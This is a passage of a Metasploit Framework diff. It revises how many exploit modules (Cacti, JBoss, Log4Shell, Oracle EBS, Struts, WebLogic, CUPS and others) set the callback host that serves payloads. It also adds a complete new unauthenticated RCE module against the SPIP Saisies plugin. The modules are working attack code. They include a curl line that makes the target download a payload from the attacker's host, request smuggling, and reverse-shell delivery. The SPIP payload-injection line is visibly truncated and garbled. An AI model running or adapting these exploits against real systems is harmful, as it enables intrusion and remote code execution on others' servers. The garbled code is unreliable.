srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/cacti_graph_template_rce.rb b/modules/exploits/multi/http/cacti_graph_template_rce.rb index 1c116167e8b6b..f159dfc0cbe78 100644 --- a/modules/exploits/multi/http/cacti_graph_template_rce.rb +++ b/modules/exploits/multi/http/cacti_graph_template_rce.rb @@ -39,7 +39,7 @@ def initialize(info = {}) ], 'References' => [ [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'], - [ 'GHSA', 'fxrq-fr7h-9rqq'], + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'], [ 'CVE', '2025-24367'], ], 'Privileged' => false, @@ -278,15 +278,18 @@ def authenticate end end - def validate - super + def validate_configuration! + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end - if Rex::Socket.is_ipv6?(srvhost_addr) - raise Msf::OptionValidateError({ 'SRVHOST' => 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.' }) + if Rex::Socket.is_ipv6?(datastore['SRVHOST']) + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.') end end def exploit + validate_configuration! authenticate hosted_payload_name = Rex::Text.rand_text_alpha_lower(1) start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false) @@ -305,7 +308,7 @@ def exploit vprint_status("Payload execution command: #{execute_payload_command}") # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported - upload_payload_command = "curl\\x20#{srvhost_addr}\\x3a#{srvport}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}" + upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}" fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47 upload_stage(upload_payload_command) execute_stage(execute_payload_command) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 2468af39ae6ec..3c32241ba5d81 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -95,8 +95,10 @@ def initialize(info = {}) OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]), - OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]), + OptAddress.new('WARHOST', [ false, 'The host to request the WAR payload from' ]), + OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]), OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']]) + ] ) end @@ -158,8 +160,8 @@ def exploit # UPLOAD # resource_uri = '/' + app_base + '.war' - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}#{resource_uri}...") + service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/multi/http/log4shell_header_injection.rb b/modules/exploits/multi/http/log4shell_header_injection.rb index c48cb3b0bfb82..d372bde1ba9f4 100644 --- a/modules/exploits/multi/http/log4shell_header_injection.rb +++ b/modules/exploits/multi/http/log4shell_header_injection.rb @@ -112,7 +112,7 @@ def check_options end def resource_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}#{resource_uri}" + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" end # @@ -284,7 +284,11 @@ def start_http_service(opts = {}) netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) - netloc = Rex::Socket.to_authority(netloc, http_srvport) + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{http_srvport}" + else + netloc = "#{netloc}:#{http_srvport}" + end end print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}") diff --git a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb index d1e3be3ed91f5..a93177cea9ea8 100644 --- a/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb +++ b/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb @@ -212,11 +212,11 @@ def trigger_http_request(exploit_data) 'data' => "request=#{Rex::Text.uri_encode({ 'connectionType' => 'ftp', 'configuration' => { - 'host' => srvhost_addr, + 'host' => datastore['SRVHOST'], 'username' => exploit_data[:user], 'initialDirectory' => '/', 'password' => exploit_data[:pass], - 'port' => srvport + 'port' => datastore['SRVPORT'] }, 'actionName' => 'downloadFile', 'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name } @@ -236,7 +236,7 @@ def exploit } start_ftp_service(exploit_data) - vprint_status("FTP server started on #{bindhost}:#{bindport}") + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") payload_name = trigger_http_request(exploit_data) fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index c537796a11400..c0404b0fceb98 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -84,6 +84,15 @@ def initialize(info = {}) self.needs_cleanup = true end + def lookup_lhost + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address('50.50.50.50') + else + datastore['SRVHOST'] + end + end + def on_new_session(session) cmds = [] if @netmask_eth0 @@ -114,9 +123,9 @@ def start_web_service print_status('Setting up the Web Service...') resource_uri = '/' + @elfname + '.elf' - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" + service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb index 273494892517e..ee2734aa59dff 100644 --- a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb +++ b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb @@ -79,6 +79,7 @@ def initialize(info = {}) register_options([ Opt::RPORT(8000), OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']), + OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']), OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]), OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]), OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30]) @@ -178,7 +179,7 @@ def exploit @session_created = false # Step 1 : Start HTTP server for XSL file serving - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") start_service( 'Uri' => { 'Proc' => proc { |cli, request| on_request_uri(cli, request) }, @@ -266,10 +267,13 @@ def retrieve_csrf_token end def create_smuggle_payload - netloc = Rex::Socket.to_authority(srvhost_addr, srvport) + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + + srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0' smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n" - smuggle_request += "Host: #{netloc}\r\n" + smuggle_request += "Host: #{srvhost}:#{srvport}\r\n" smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n" smuggle_request += "Connection: keep-alive\r\n" @@ -280,7 +284,7 @@ def create_smuggle_payload # Add POST request via CRLF smuggle_request += "\r\n\r\n\r\nPOST /" - vprint_status("Smuggled request will target: #{netloc}") + vprint_status("Smuggled request will target: #{srvhost}:#{srvport}") vprint_status('Full smuggled request:') vprint_line(smuggle_request) if datastore['VERBOSE'] diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb index ba40ab67c2d2f..61d402700cb8d 100644 --- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb +++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb @@ -161,9 +161,15 @@ def start_http_server @elf_sent = false downfile = rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end - @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb index 0a0092b195b79..0f33a902e707f 100644 --- a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb +++ b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb @@ -93,7 +93,9 @@ def initialize(info = {}) ) register_options([ - OptString.new('TARGETURI', [true, 'Base path', '/']) + OptString.new('TARGETURI', [true, 'Base path', '/']), + # XXX: Ticket to improve this option across multiple modules: https://github.com/rapid7/metasploit-framework/issues/20986 + OptAddressLocal.new('SRVHOST', [false, 'The local host or network interface to listen on. This must be an address on the local machine.', nil]) ]) end @@ -182,8 +184,17 @@ def get_target_service(session_ctx) # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately. return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows + # XXX: Determine SRVHOST based on global SRVHOST, RHOST or an arbitrary internet address so that it is a bindable, and hopefully routable address + # Original pattern from: https://github.com/rapid7/metasploit-framework/blob/c0f73038f3fb4f76b4ed8a0c661be35639a9d1fc/lib/msf/core/payload.rb#L474-L475 + # Related: https://github.com/rapid7/metasploit-framework/issues/20986 + srvhost = datastore['SRVHOST'] || Rex::Socket.source_address(datastore['RHOST'] || '50.50.50.50') + + if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end + # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option. - print_status("Serving a malicious extension over an SMB share on #{bindhost} (SMB on TCP port 445)") + print_status("Serving a malicious extension over an SMB share on #{srvhost} (SMB on TCP port 445)") smb_service = SimpleSMBShareWrapper.new diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb new file mode 100644 index 0000000000000..0fcdcb6697144 --- /dev/null +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -0,0 +1,241 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Spip + prepend Msf::Exploit::Remote::AutoCheck + + FORM_PARAM = '_anciennes_valeurs'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SPIP Saisies Plugin Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated PHP code injection in the SPIP + Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is + interpolated unsanitized into a hidden field rendered with + interdire_scripts=false, allowing direct PHP code execution via template + eval. + + Exploitation requires a publicly accessible page containing a + saisies-powered form, most commonly created with the Formidable plugin. + Use the FORM_PAGE option to specify a known form page, or set it to + 'crawl' to automatically discover one by following internal links from + the SPIP sitemap. + + Versions 5.4.0 through 5.11.0 of the saisies plugin are affected. + }, + 'Author' => [ + 'OpenStudio', # Discovery + 'Valentin Lobstein ' # PoC and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-71243'], + ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'], + ['URL', 'https://plugins.spip.net/saisies'] + ], + 'Targets' => [ + [ + 'PHP In-Memory', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => '2025-02-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('FORM_PAGE', [ + true, + 'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover', + 'crawl' + ]), + OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100]) + ]) + end + + def check + version = spip_plugin_version('saisies') + if version + print_status("Saisies plugin version: #{version}") + if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0')) + return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).") + end + + return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.") + end + + spip_ver = spip_version + return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver + + CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.") + end + + # Find a page containing a saisies form (_anciennes_valeurs parameter). + # When FORM_PAGE is set to a specific page name, only that page is checked. + # When set to 'crawl', the module fetches the SPIP sitemap and follows + # internal links until a form is found or CRAWL_MAX_PAGES is reached. + def find_form_page + if datastore['FORM_PAGE'].downcase != 'crawl' + page = datastore['FORM_PAGE'] + if page.start_with?('/') + return page if saisies_form?(page) + + fail_with(Failure::NotFound, "No saisies form found at #{page}") + end + + uri = normalize_uri(target_uri.path, 'spip.php') + full_uri = "#{uri}?page=#{page}" + return full_uri if saisies_form?(uri, 'page' => page) + + fail_with(Failure::NotFound, "No saisies form found at #{full_uri}") + end + + crawl_for_form + end + + def saisies_form?(uri, vars_get = {}) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get) + res&.code == 200 && res.body.include?(FORM_PARAM) + end + + def crawl_for_form + max_pages = datastore['CRAWL_MAX_PAGES'] + seen = Set.new + queue = [] + + # Seed with the SPIP sitemap page + plan_path = normalize_uri(target_uri.path, 'spip.php') + plan_uri = "#{plan_path}?page=plan" + res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' }) + if res&.code == 200 + seen.add(plan_uri) + extract_internal_links(res).each { |link| queue << link } + end + + # Also seed with the base URL + base_uri = normalize_uri(target_uri.path, 'spip.php') + queue << base_uri unless seen.include?(base_uri) + + print_status("Crawling for saisies forms (max #{max_pages} pages)...") + + until queue.empty? || seen.size >= max_pages + uri = queue.shift + next if seen.include?(uri) + + seen.add(uri) + vprint_status("Checking #{uri}") + + begin + res = send_request_cgi('method' => 'GET', 'uri' => uri) + rescue ::Rex::ConnectionError + next + end + + next unless res&.code == 200 + + if res.body.include?(FORM_PARAM) + print_good("Form found at #{uri} (checked #{seen.size} pages)") + return uri + end + + extract_internal_links(res).each do |link| + queue << link unless seen.include?(link) + end + end + + fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.") + end + + # Extract internal links from an HTML response, filtering out static assets. + def extract_internal_links(res) + links = [] + doc = res.get_html_document + return links unless doc + + doc.css('a[href]').each do |a| + href = a['href'].to_s.strip + next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i) + + # Resolve protocol-relative URLs (//example.com/page) + if href.start_with?('//') + href = "#{ssl ? 'https' : 'http'}:#{href}" + end + + # Resolve absolute URLs to paths + if href.start_with?('http://', 'https://') + uri = begin + URI.parse(href) + rescue StandardError + next + end + target = begin + URI.parse(full_uri) + rescue StandardError + next + end + next unless uri.host == target.host + + href = uri.path + href += "?#{uri.query}" if uri.query + elsif !href.start_with?('/') + href = normalize_uri(target_uri.path, href) + end + + links << href + end + + links.uniq + end + + def exploit + form_uri = find_form_page + + print_status('Sending payload...') + + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + b64 = Rex::Text.encode_base64(phped_payload) + tag = Rex::Text.rand_text_alpha(8) + injection = "#{tag}' /> 'POST', + 'uri' => form_uri, + 'vars_post' => { + FORM_PARAM => injection + } + }, 5) + end +end diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 84d8b4bcf706f..861222cbee686 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -98,8 +98,9 @@ def execute_command(cmd, _opts = {}) end def windows_stager - print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}") - execute_cmdstager({ temp: '.', tftphost: srvhost_addr }) + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status('Attempting to execute the payload...') diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 112813d6ca591..4cf33d2d0d488 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -109,8 +109,9 @@ def execute_command(cmd, _opts = {}) def windows_stager rand_text_alphanumeric(rand(4..7)) - print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}") - execute_cmdstager({ temp: '.', tftphost: srvhost_addr }) + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status('Attempting to execute the payload...') diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 0207bd2309907..57aec4e2b967c 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -119,7 +119,14 @@ def on_new_session(session) end def start_http_service - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = srv_host + ':' + datastore['SRVPORT'].to_s + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -130,7 +137,7 @@ def start_http_service 'ssl' => false # do not use SSL }) - return Rex::Socket.to_authority(srvhost_addr, srvport) + return service_url end def check diff --git a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb index 3d0b9c628b0bc..639006684f656 100644 --- a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb +++ b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb @@ -157,9 +157,11 @@ def auth(user, pass) def create_widget(admin_token) platform = target.platform.names.first + host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST'] + port = datastore['SRVPORT'] proto = datastore['SSL'] ? 'https' : 'http' payload_name = "p_#{Rex::Text.rand_text_alpha(5)}" - url = "#{proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{get_resource}/#{payload_name}" + url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}" widget = Widget.new(platform, url, generate_cmdstager( 'Path' => "#{get_resource}/#{payload_name}", 'temp' => '/tmp', diff --git a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb index ef5b60e4915c2..e63a90660deb4 100644 --- a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb +++ b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb @@ -157,9 +157,16 @@ def start_http_server downfile = rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile - @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url_payload = srv_host + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/wondercms_rce.rb b/modules/exploits/multi/http/wondercms_rce.rb index 17a86091d6aa4..2c2146f6942c6 100644 --- a/modules/exploits/multi/http/wondercms_rce.rb +++ b/modules/exploits/multi/http/wondercms_rce.rb @@ -143,11 +143,15 @@ def install_malicious_component send_request_cgi!({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{srvhost_addr}:#{srvport}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") + 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") }) end def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end + login create_vulnerable_zip diff --git a/modules/exploits/multi/http/wp_popular_posts_rce.rb b/modules/exploits/multi/http/wp_popular_posts_rce.rb index 71e6d2d5014d5..6984a80504b66 100644 --- a/modules/exploits/multi/http/wp_popular_posts_rce.rb +++ b/modules/exploits/multi/http/wp_popular_posts_rce.rb @@ -391,6 +391,7 @@ def get_widget end def exploit + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 817ff60876855..715a1a01fb8db 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -107,7 +107,6 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr register_options( [ Opt::RPORT(7001), - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -300,7 +299,7 @@ def resource_uri # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}/" + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # @@ -398,6 +397,10 @@ def build_ldap_search_response_payload # Main Exploit def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + if @version.blank? @version = get_weblogic_version end diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 2317613a6dc20..91226395475b9 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -179,6 +179,7 @@ def initialize(info = {}) register_options( [ OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), + OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) ] ) @@ -187,8 +188,12 @@ def initialize(info = {}) def validate super + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) + end + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured - unless _determine_server_comm(srvhost) == Rex::Socket::Comm::Local + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) end end @@ -509,7 +514,7 @@ def on_dispatch_mdns_request(cli, data) type: 'A', ttl: 30, # The IP address of our malicious HTTP IPP service - address: srvhost + address: datastore['SRVHOST'] )) # SRV record diff --git a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb index 2dbd33e187ede..bb200c4d4448d 100644 --- a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb +++ b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb @@ -313,7 +313,7 @@ def update_auth(auth_method, restore: false) # To enable CAM server authentication over SSL, the CAM server certificate has to be previously # imported into the server. Since we can't do this, disable SSL in the fake CAM. srv_config = " IntegratedSecurityMode=#{auth_method}\n" \ - "ServerCAMURI=http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}\n" \ + "ServerCAMURI=http://#{srvhost}:#{srvport}\n" \ "ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \ "CAMUseSSL=F\n" end @@ -399,6 +399,11 @@ def restore_auth(app, auth_current) end def exploit + # first let's check if SRVHOST is valid + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::Unknown, 'Please enter a valid IP address for SRVHOST') + end + # The first step is to query the administrative server to see what apps are available. # This action can be done unauthenticated. We then list all the available app servers # and pick a random one that is currently accepting clients. This step is important diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 4aadf8432947d..08781cbbc85c2 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -216,10 +216,19 @@ def exploit_linux resource_uri = '/' + downfile if (datastore['DOWNHOST']) - service_url = "http://#{Rex::Socket.to_authority(datastore['DOWNHOST'], srvport)}#{resource_uri}" + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = 